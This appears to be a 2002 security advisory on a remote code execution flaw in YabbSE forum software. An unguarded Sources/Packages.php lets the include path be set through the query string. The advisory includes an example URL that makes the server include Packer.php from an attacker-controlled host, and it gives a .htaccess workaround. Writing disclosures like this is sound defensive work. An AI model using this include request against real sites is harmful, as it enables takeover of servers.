YabbSE Remote Code Execution Vulnerability ( By Mindwarper :: mindwarper@hush.com :: ) <------- -------> ---------------------- Vendor Information: ---------------------- Homepage : http://www.yabbse.org Vendor : informed Mailed advisory: 21/01/02 Vender Response : None ---------------------- Affected Versions: ---------------------- All versions prior to 1.5.0 ---------------------- Vulnerability: ---------------------- YabbSE keeps all of it's function includes in a directory called "Sources" which is not protected. Inside this directory a file called Packages.php exists. This file is supposed to be included and not called directly, but if an attacker calls it directly he/she may cause the script to run remote arbitrary code. Bellow are a couple of the first lines in Packages.php: ******** .. global $adminplver; $Packagesphpver="YaBB SE 1.4.1"; $safe_mode = ini_get("safe_mode"); $pacmanver = "1.4.1"; include_once("$sourcedir/Packer.php"); .. ******** We can see here that the variable $sourcedir is never defined and therefore may be defined through global injection. Example: http://victim/yabbse/Sources/Packages.php?sourcedir=http://attacker/ where the attacker server has a file called Packer.php. An attacker may execute remote code on the server with webserver permissions. Side-note: An attacker may also use this file for XSS attack on the server. ---------------------- Solution: ---------------------- Please check the vendor's website for new patches. As a temporary solution, create a .htaccess file that contains 'Deny from all'. Place it in the /Sources/ directory and that should block remote users from accessing it. ---------------------- Greetz: ---------------------- Hawkje, Truckle, Cyon, daemorhedron, Mithrandir <------- -------> Concerned about your privacy? Follow this link to get FREE encrypted email: https://www.hushmail.com/?l=2 Big $$$ to be made with the HushMail Affiliate Program: https://www.hushmail.com/about.php?subloc=affiliate&l=427
